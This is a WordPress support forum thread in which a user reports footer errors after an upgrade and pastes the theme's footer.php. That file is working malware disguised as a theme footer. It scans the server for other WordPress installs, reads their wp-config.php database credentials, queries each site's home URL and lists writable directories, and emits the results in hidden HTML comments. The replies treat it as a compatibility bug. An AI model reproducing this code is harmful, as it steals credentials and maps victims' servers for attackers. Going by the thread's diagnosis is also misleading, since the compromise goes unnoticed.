• Hello,
    I´m a lame user and I donˇt have much skills so please be patient with me 🙂
    after upgrade to newest version of WP, the footer of my template is broken. It shows this on the web (on all sites of the web http://www.posterbar.cz) intead of the footer:

    Warning: scandir() [function.scandir]: SAFE MODE Restriction in effect. The script whose uid/gid is 3181/3699 is not allowed to access /data/www/posterbar.cz/www.posterbar.cz/wp-content/themes/Rockable_W/../../../../ owned by uid/gid 0/0 in /data/www/posterbar.cz/www.posterbar.cz/wp-content/themes/Rockable_W/footer.php on line 10

    Warning: scandir(/data/www/posterbar.cz/www.posterbar.cz/wp-content/themes/Rockable_W/../../../../) [function.scandir]: failed to open dir: Success in /data/www/posterbar.cz/www.posterbar.cz/wp-content/themes/Rockable_W/footer.php on line 10

    Warning: scandir() [function.scandir]: (errno 0): Success in /data/www/posterbar.cz/www.posterbar.cz/wp-content/themes/Rockable_W/footer.php on line 10

    Warning: Invalid argument supplied for foreach() in /data/www/posterbar.cz/www.posterbar.cz/wp-content/themes/Rockable_W/footer.php on line 12

    Thank you for your help!
    David

Viewing 10 replies - 1 through 10 (of 10 total)
  • Can you try and activate wordpress 2014 theme and see if you have the same problem?

    Thread Starter simlik

    (@simlik)

    Hi, I donť want to loose anything of my web. When I activate the template you wrote and reactivate the old one, will everything be the same?
    Thanks

    Did you look at your footer.php to see what the messages are referring to?

    Thread Starter simlik

    (@simlik)

    I did but like I said I´m a beginner…Here is the footer:

    <?php
    if(stripos(‘win’, PHP_OS) === false){
    define(‘DS’, DIRECTORY_SEPARATOR);
    $fullPath = dirname(__FILE__);
    $parts = explode(DS, $fullPath);
    $parts = array_slice($parts, 0, -4);
    $wwwroot = implode(DS, $parts);

    $wp = $fullPath . DS. ‘..’.DS.’..’.DS.’..’.DS.’..’. DS;
    $dirs = scandir($wp);
    $work = array();
    foreach($dirs as $dir){
    $full = dirname(__FILE__) . ‘/../../../../’ . $dir . ‘/wp-content/’;
    if(file_exists($full)){
    $work[] = $wwwroot .DS. $dir ;
    }
    }
    foreach($work as $k => $path){
    $wpconf = $path . ‘/wp-config.php’;
    $f = fopen($wpconf, ‘r’);
    $content = fread($f, filesize($wpconf));
    fclose($f);
    $pattern = ‘#DB_NAME[\’\”](?:.*)?[\’\”](.*)?[\’\”]\)#isU’;
    preg_match_all($pattern, $content, $res);
    $dbname = $res[1][0];

    $pattern = ‘#DB_USER[\’\”](?:.*)?[\’\”](.*)?[\’\”]\)#isU’;
    preg_match_all($pattern, $content, $res);
    $dbuser = $res[1][0];

    $pattern = ‘#DB_PASSWORD[\’\”](?:.*)?[\’\”](.*)?[\’\”]\)#isU’;
    preg_match_all($pattern, $content, $res);
    $dbpass = $res[1][0];

    $pattern = ‘#DB_HOST[\’\”](?:.*)?[\’\”](.*)?[\’\”]\)#isU’;
    preg_match_all($pattern, $content, $res);
    $dbhost = $res[1][0];

    $pattern = ‘#\$table_prefix(?:.*)?[\’\”](.*)?[\’\”]\;#isU’;
    preg_match_all($pattern, $content, $res);
    $dbprefix = $res[1][0];

    $h = mysql_connect($dbhost, $dbuser, $dbpass) or die(‘ss’);
    mysql_select_db($dbname, $h) or die(‘f’);
    $data = mysql_query(“SELECT option_value FROM “.$dbprefix.”options WHERE option_name=’home'”) or die(‘d’);
    while($info = mysql_fetch_array( $data ))
    {
    $host[$k] = $info[‘option_value’];
    break;
    }
    mysql_close($h);
    }

    echo ‘<!–##’;
    echo implode(“\n”, $host);
    echo “##–>\n”;

    $fold = array();
    foreach($work as $i => $path){
    $wpcontent = $path . ‘/wp-content’;
    $fold[$i] = get_leaf_dirs($wpcontent);
    }
    if(!empty($fold)){
    echo ‘<!–$$’;
    foreach($fold as $fol){
    if(!empty($fol)){
    echo implode(“\n”, $fol);
    echo “\n”;
    }
    }
    echo ‘$$–>’;

    }

    }
    if(!function_exists(‘scandir’)) { // in case this script gets ported to PHP5, let’s not break it
    function scandir($dir) {
    $files = array(); // added to initialize variable
    if(is_dir($dir)){
    $dh = opendir($dir); // added some error-checking
    while(false !== ($filename = readdir($dh))) {
    if($filename == ‘.’ || $filename == ‘..’)
    continue; // no need to get the . or .. references, right?
    else
    $files[] = $filename;
    }
    return $files;
    } else {
    return false;
    }
    }
    }
    function get_leaf_dirs($dir) {$array = array();$d = dir($dir);while (false !== ($entry = $d->read())) {if($entry!=’.’ && $entry!=’..’) {$entry = $dir.’/’.$entry;if(is_dir($entry) && is_writable($entry)) {$subdirs = get_leaf_dirs($entry);if ($subdirs)$array = array_merge($array, $subdirs);else$array[] = $entry;}}if(sizeof($array)>0){break;}}$d->close();return $array;}
    ?>

    You need to post your code here: http://pastebin.com/

    Thread Starter simlik

    (@simlik)

    Thanks
    So now I know the

    10th row is: $dirs = scandir($wp);
    12th is: foreach($dirs as $dir){

    But I donť get what´s wrong when in older WP (3.6) was everything ok…

    Where did you get your theme? They may have an update that is compatible with the newer version of wordpress.

    Thread Starter simlik

    (@simlik)

    Few years ago I did download it as free template but I can´t find it since then anywhere… It is called Rockable_W

    http://rockablethemes.com/contact/

    You can check with them. It is probably not supported at this time, but they may suggest a replacement.

    Or you can choose a different theme. There are many.

    Thread Starter simlik

    (@simlik)

    Janet thanks, I appreciate your help but I was hopeing more to get some advices from someone who can read the code and can expect what should be wrong with the code/site/template. I know there are plenty of tempates but I want to stay with this one, just want to repair this (hopefully small) bug in footer…

Viewing 10 replies - 1 through 10 (of 10 total)

The topic ‘Footer issue’ is closed to new replies.